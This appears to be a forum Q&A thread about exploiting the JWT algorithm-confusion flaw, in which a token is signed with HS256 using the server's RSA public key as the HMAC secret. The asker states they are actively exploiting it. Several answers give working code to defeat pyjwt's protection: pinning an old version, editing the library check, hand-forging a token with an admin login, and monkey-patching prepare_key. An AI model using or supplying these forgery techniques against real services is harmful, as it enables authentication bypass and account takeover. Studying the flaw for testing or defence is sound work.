JWT encoding using HMAC with asymmetric key as secret

Question

I'm currently exploiting the vulnerability discussed here

https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/

Where the algorithm type in JWT can be changed from RSA to HMAC and signing the token with a given public key.

However, I wrote the below python code:

import jwt
import base64

# consider 'publickey' as the servers public key
code = 
jwt.encode({'login':'test'},'publickey',algorithm='HS256')

This Throws an error :

InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

Im looking for an alternative where I can successfully sign it using the asymmetric key.

Thanks

Answer 1

Use an old version of pyjwt (0.4.3) where this exception wasn't implemented yet.

pip install pyjwt==0.4.3

Answer 2

When running your program, it reports the line that throws the exception:

  File "/some-path/site-packages/jwt/algorithms.py", line 151, in prepare_key
    'The specified key is an asymmetric key or x509 certificate and'
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

So edit the file /some-path/site-packages/jwt/algorithms.py around line 151, so that it no longer throws the exception.

For example, put this in there:

invalid_strings = []

Answer 3

I ended up going a little more custom route to exploit this vulnerability. The following code can work as a general template to generate the necessary token without using jwt library.

from codecs import encode, decode
import requests
import hashlib
import hmac

# read the assymetric key
with open('public.pem', 'rb') as f:
    key = f.read()

# create an appropriate JSON object for header
header = b'{"typ":"JWT","alg":"HS256"}'
header = encode(header, 'base64').strip()

# create an appropriate JSON object for payload
payload = b'{"login":"admin"}'
payload = encode(payload, 'base64').strip()

# sign the payload
sig = hmac.new(key, header + b'.' + payload, hashlib.sha256).digest().strip()
sig = encode(sig, 'base64').strip()

# print the json token
jwt = '{}.{}.{}'.format(header.decode(), payload.decode(), sig.decode())
print(jwt)

Answer 4

Here's my hackish solution to get it working with later versions (i.e., pyjwt==2.2.0) without having to fork pyjwt and editing the base code.

# prepare an override method
def prepare_key(key):
    return jwt.utils.force_bytes(key)

# override HS256's prepare key method to disable checking for asymmetric key words
jwt.api_jws._jws_global_obj._algorithms['HS256'].prepare_key = prepare_key

# will not throw InvalidKeyError now
public_key = open('pubkey.pem', 'r').read()
token = jwt.encode(payload, key=public_key, algorithm='HS256')